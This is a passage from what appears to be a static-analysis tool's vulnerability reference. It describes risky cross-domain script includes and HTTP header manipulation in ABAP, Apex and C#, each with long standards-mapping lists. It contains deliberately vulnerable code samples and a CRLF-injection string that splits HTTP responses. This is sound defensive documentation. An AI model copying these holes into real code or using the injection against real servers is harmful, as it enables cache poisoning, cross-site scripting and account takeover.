[18] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-16 Memory Protection (P1)
[19] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-16 Memory Protection
[20] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[21] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 119
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002590 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002590 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002590 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.internal.cpp.format_string_argument_type_mismatch
Abstract
Including a script from another domain means that the security of this web page is dependent on the security of the other domain.
Explanation
Including executable content from another web site is a risky proposition. It ties the security of your site to the security of the other site.

Example: Consider the following script tag.

<script src="http://www.example.com/js/fancyWidget.js"></script>


If this tag appears on a web site other than www.example.com, then the site is dependent upon www.example.com to serve up correct and non-malicious code. If attackers can compromise www.example.com, then they can alter the contents of fancyWidget.js to subvert the security of the site. They could, for example, add code to fancyWidget.js to steal a user's confidential data.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[4] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[5] Standards Mapping - CIS Kubernetes Benchmark partial
[6] Standards Mapping - Common Weakness Enumeration CWE ID 494, CWE ID 829
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[13] Standards Mapping - OWASP Mobile 2024 M7 Insufficient Binary Protections
[14] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-PLATFORM-2
[15] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[16] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Process Validation (WASC-40)
[31] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Process Validation
desc.content.html.hardcoded_domain
Abstract
Including unvalidated data in an HTTP response header can enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Header Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP response header sent to a web user without being validated.

As with many software security vulnerabilities, Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.


...
author = request->get_form_field( 'author' ).
response->set_cookie( name = 'author' value = author ).
...


Assuming a string consisting of standard alphanumeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.abap.header_manipulation
Abstract
Including unvalidated data in an HTTP response header can enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation, or open redirect.
Explanation
Header Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently in an HTTP request.


2. The data is included in an HTTP response header sent to a web user without being validated.

As with many software security vulnerabilities, Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n) characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers prevent the injection of malicious characters into HTTP headers. For example, recent versions of Apache Tomcat throw an IllegalArgumentException if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example 1: The following code sets an HTTP header whose name and value could be controlled by an attacker:


@HttpGet
global static void doGet() {
...
Map<String, String> params = ApexPages.currentPage().getParameters();

RestResponse res = RestContext.response;
res.addHeader(params.get('name'), params.get('value'));
...
}


Assuming a name/value pair consisting of author and Jane Smith, the HTTP response including this header might take the following form:


HTTP/1.1 200 OK
...
author:Jane Smith
...


However, because the value of the header is formed from unvalidated user input, an attacker might submit a malicious name/value pair, such as HTTP/1.1 200 OK\r\n...foo and bar, then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...

HTTP/1.1 200 OK
...
foo:bar


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker can make a single request to a vulnerable server that causes the server to create two responses, the second of which might be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker might leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker might provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: After attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker might cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Cookie Manipulation: When combined with attacks such as Cross-Site Request Forgery, attackers might change, add to, or even overwrite a legitimate user's cookies.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.apex.header_manipulation
Abstract
Including unvalidated data in an HTTP response header can enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Header Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP response header sent to a web user without being validated.

As with many software security vulnerabilities, Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers and frameworks will prevent the injection of malicious characters into HTTP headers. For example, recent versions of Microsoft's .NET framework will convert CR, LF, and NULL characters to %0d, %0a and %00 when they are sent to the HttpResponse.AddHeader() method. If you are using the latest .NET framework that prevents setting headers with new line characters, then your application might not be vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.


protected System.Web.UI.WebControls.TextBox Author;
...
string author = Author.Text;
Cookie cookie = new Cookie("author", author);
...


Assuming a string consisting of standard alphanumeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for Author.Text does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
